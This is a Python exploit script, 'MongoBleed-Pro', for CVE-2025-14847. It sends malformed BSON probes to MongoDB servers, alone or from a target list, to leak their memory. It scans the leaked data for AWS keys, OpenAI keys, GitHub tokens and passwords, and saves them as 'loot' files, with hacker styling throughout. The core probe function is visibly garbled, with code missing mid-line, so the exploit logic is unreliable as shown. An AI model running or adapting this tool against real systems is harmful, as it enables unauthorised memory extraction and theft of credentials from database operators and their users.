#!/usr/bin/env python3 """ ███╗ ███╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗███████╗██████╗ ████╗ ████║██╔═══██╗████╗ ██║██╔════╝ ██╔═══██╗██╔══██╗██║ ██╔════╝██╔════╝██╔══██╗ ██╔████╔██║██║ ██║██╔██╗ ██║██║ ███╗██║ ██║██████╔╝██║ █████╗ █████╗ ██║ ██║ ██║╚██╔╝██║██║ ██║██║╚██╗██║██║ ██║██║ ██║██╔══██╗██║ ██╔══╝ ██╔══╝ ██║ ██║ ██║ ╚═╝ ██║╚██████╔╝██║ ╚████║╚██████╔╝╚██████╔╝██████╔╝███████╗███████╗███████╗██████╔╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝╚═════╝ MongoBleed-Pro V12 (HACKER EDITION) - CVE-2025-14847 Author: CyberTechAjju | Original PoC: Joe Desimone Theme: Elite Hacker Style 💀🔥 """ import socket import struct import zlib import re import argparse import time import sys import os import random from concurrent.futures import ThreadPoolExecutor, as_completed from rich.console import Console from rich.progress import Progress, BarColumn, TextColumn, MofNCompleteColumn, SpinnerColumn from rich.table import Table from rich.panel import Panel from rich.text import Text from rich.align import Align console = Console() # ═══════════════════════════════════════════════════════════════ # 🎨 HACKER STYLE CONFIGURATION # ═══════════════════════════════════════════════════════════════ SKULL = """ [bold red] ██████ ████░░░░░░████ ██░░░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░██ ██░░░░██████░░░░░░██████░░░░██ ██░░░░██████░░░░░░██████░░░░██ ██░░░░░░░░░░░░██░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░██ ██░░░░██░░░░░░░░░░██░░░░██ ██░░░░████████░░░░░░██ ██░░░░░░░░░░░░░░██ ████░░░░░░████ ██████ [/bold red] """ MATRIX_CHARS = "アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン0123456789" HACKER_QUOTES = [ "「 The quieter you become, the more you can hear 」", "「 In a world of 1s and 0s, be a 2 」", "「 Hack the planet! 」", "「 There is no patch for human stupidity 」", "「 Knowledge is power 」", ] # ═══════════════════════════════════════════════════════════════ # 🎭 ANIMATION EFFECTS # ═══════════════════════════════════════════════════════════════ def matrix_effect(duration=1.5): """Matrix-style falling characters effect""" console.print("\n[bold green]", end="") for _ in range(int(duration * 20)): line = "".join(random.choice(MATRIX_CHARS) for _ in range(console.width)) console.print(f"[green]{line[:80]}[/green]", end="\r") time.sleep(0.05) console.print("") def typewriter(text, delay=0.03, style="bold green"): """Typewriter effect for text""" for char in text: console.print(f"[{style}]{char}[/{style}]", end="") time.sleep(delay) console.print("") def glitch_text(text): """Glitch effect for text""" glitch_chars = "!@#$%^&*()_+-=[]{}|;':\",./<>?" result = "" for char in text: if random.random() < 0.1: result += random.choice(glitch_chars) else: result += char return result def hacker_loading(message, duration=2): """Hacker-style loading animation""" frames = ["[■□□□□]", "[■■□□□]", "[■■■□□]", "[■■■■□]", "[■■■■■]", "[□■■■■]", "[□□■■■]", "[□□□■■]", "[□□□□■]", "[□□□□□]"] end_time = time.time() + duration i = 0 while time.time() < end_time: console.print(f"\r[bold green]{frames[i % len(frames)]}[/bold green] [cyan]{message}[/cyan]", end="") time.sleep(0.1) i += 1 console.print("\r" + " " * 60, end="\r") # ═══════════════════════════════════════════════════════════════ # 🎯 SECRET PATTERNS # ═══════════════════════════════════════════════════════════════ SECRET_PATTERNS = { "🔑 AWS Key": r"AKIA[0-9A-Z]{16}", "🤖 OpenAI Key": r"sk-[a-zA-Z0-9]{48}", "🐙 GitHub Token": r"ghp_[a-zA-Z0-9]{36}", "🔐 Password": r"(?i)(password|secret|token)\s*[:=]\s*([^\s,;\"']+)", "📧 Email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" } # State leaked_data = bytearray() unique_leaks = set() found_secrets = [] def reset_state(): global leaked_data, unique_leaks, found_secrets leaked_data = bytearray() unique_leaks = set() found_secrets = [] def parse_target(target_input): clean = re.sub(r'^(http|https|mongodb)://', '', target_input.strip()).split('/')[0] if ':' in clean: h, p = clean.split(':') return h, int(p) return clean, 27017 # ═══════════════════════════════════════════════════════════════ # 💉 CORE EXPLOIT (EXACT POC COPY) # ═══════════════════════════════════════════════════════════════ def send_probe(host, port, doc_len, buffer_size): content = b'\x10a\x00\x01\x00\x00\x00' bson = struct.pack(' 10: preview = data[:60].decode('utf-8', errors='replace') printable = "".join([c if c.isprintable() else "░" for c in preview]) console.print(f" [green]◉[/green] [dim cyan]0x{doc_len:04X}[/dim cyan] │ [bold white]{printable}[/bold white]") analyze_secrets(data) return len(leaks) > 0 def run_exploit(host, port, min_off, max_off, threads): console.print(f"\n[bold red]╔══════════════════════════════════════════════════════════════╗[/bold red]") console.print(f"[bold red]║[/bold red] [bold green]💀 INITIATING MEMORY EXTRACTION SEQUENCE 💀[/bold green] [bold red]║[/bold red]") console.print(f"[bold red]╚══════════════════════════════════════════════════════════════╝[/bold red]") console.print(f"\n[dim]Target Lock: {host}:{port} | Range: 0x{min_off:04X} - 0x{max_off:04X}[/dim]\n") with Progress( SpinnerColumn("dots12"), TextColumn("[bold green]⚡ Extracting..."), BarColumn(bar_width=30, complete_style="green", finished_style="bold green"), TextColumn("[bold white]{task.percentage:>3.0f}%"), MofNCompleteColumn(), console=console ) as progress: task = progress.add_task("hack", total=(max_off - min_off)) with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(worker, host, port, i): i for i in range(min_off, max_off)} for future in as_completed(futures): progress.advance(task) def show_banner(): console.clear() console.print(SKULL) console.print(Panel.fit( "[bold red]M O N G O B L E E D - P R O[/bold red]\n" "[bold green]V12 HACKER EDITION[/bold green]\n" "[dim cyan]CVE-2025-14847 | Memory Leak Exploit[/dim cyan]\n\n" "[bold cyan]Keep Learning | Keep Hacking with CyberTechAjju[/bold cyan]", border_style="bold green", title="[bold red]☠️ ELITE ACCESS ☠️[/bold red]", subtitle=f"[dim]{random.choice(HACKER_QUOTES)}[/dim]" )) def main(): show_banner() parser = argparse.ArgumentParser() parser.add_argument('--target', help='Target IP/URL') parser.add_argument('--file', help='File with target list') parser.add_argument('--threads', type=int, default=50) parser.add_argument('--min-offset', type=int, default=20) parser.add_argument('--max-offset', type=int, default=8192) args = parser.parse_args() targets = [] if args.file and os.path.exists(args.file): with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] elif args.target: targets = [args.target] else: console.print("\n[bold green]┌──────────────────────────────────────┐[/bold green]") t = console.input("[bold green]│ [/bold green][bold white]Enter Target IP/URL:[/bold white] ") console.print("[bold green]└──────────────────────────────────────┘[/bold green]") if not t: return targets = [t] for t_str in targets: reset_state() host, port = parse_target(t_str) console.print(f"\n[bold yellow]⚡ Target Acquired:[/bold yellow] [bold cyan]{host}:{port}[/bold cyan]") try: sock = socket.socket() sock.settimeout(3) sock.connect((host, port)) sock.close() console.print("[bold green] ✓ Port OPEN[/bold green]") except: console.print("[bold red] ✗ Target OFFLINE[/bold red]") continue if not check_vulnerability(host, port): console.print("[bold yellow] ⚠ NOT VULNERABLE (Patched)[/bold yellow]") continue console.print("[bold red] ☠️ VULNERABLE! Initiating attack...[/bold red]") time.sleep(0.5) run_exploit(host, port, args.min_offset, args.max_offset, args.threads) # Results console.print(f"\n[bold green]╔══════════════════ EXTRACTION COMPLETE ══════════════════╗[/bold green]") console.print(f"[bold green]║[/bold green] [cyan]💾 Bytes Extracted:[/cyan] [bold white]{len(leaked_data):,}[/bold white]") console.print(f"[bold green]║[/bold green] [cyan]📦 Unique Fragments:[/cyan] [bold white]{len(unique_leaks):,}[/bold white]") console.print(f"[bold green]║[/bold green] [cyan]🔑 Secrets Found:[/cyan] [bold white]{len(found_secrets)}[/bold white]") console.print(f"[bold green]╚══════════════════════════════════════════════════════════╝[/bold green]") if found_secrets: table = Table(title="[bold red]☠️ CAPTURED LOOT ☠️[/bold red]", border_style="red", show_header=True) table.add_column("Type", style="bold green") table.add_column("Secret", style="bold yellow") for n, v in found_secrets: table.add_row(n, v) console.print(table) with open(f"loot_{host}.txt", "w") as f: for n, v in found_secrets: f.write(f"[{n}] {v}\n") with open(f"dump_{host}.bin", "wb") as f: f.write(leaked_data) console.print(f"\n[dim]Artifacts saved: loot_{host}.txt, dump_{host}.bin[/dim]") secrets_check = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA'] for s in secrets_check: if s.lower() in leaked_data.lower(): console.print(f"[bold red blink]⚠️ Pattern detected in memory: {s.decode()}[/bold red blink]") console.print(f"\n[bold red]{'═' * 60}[/bold red]") console.print(f"[bold green] ☠️ MISSION ACCOMPLISHED - CyberTechAjju ☠️[/bold green]") console.print(f"[bold red]{'═' * 60}[/bold red]") console.print(f"\n[dim italic]{random.choice(HACKER_QUOTES)}[/dim italic]\n") if __name__ == "__main__": main()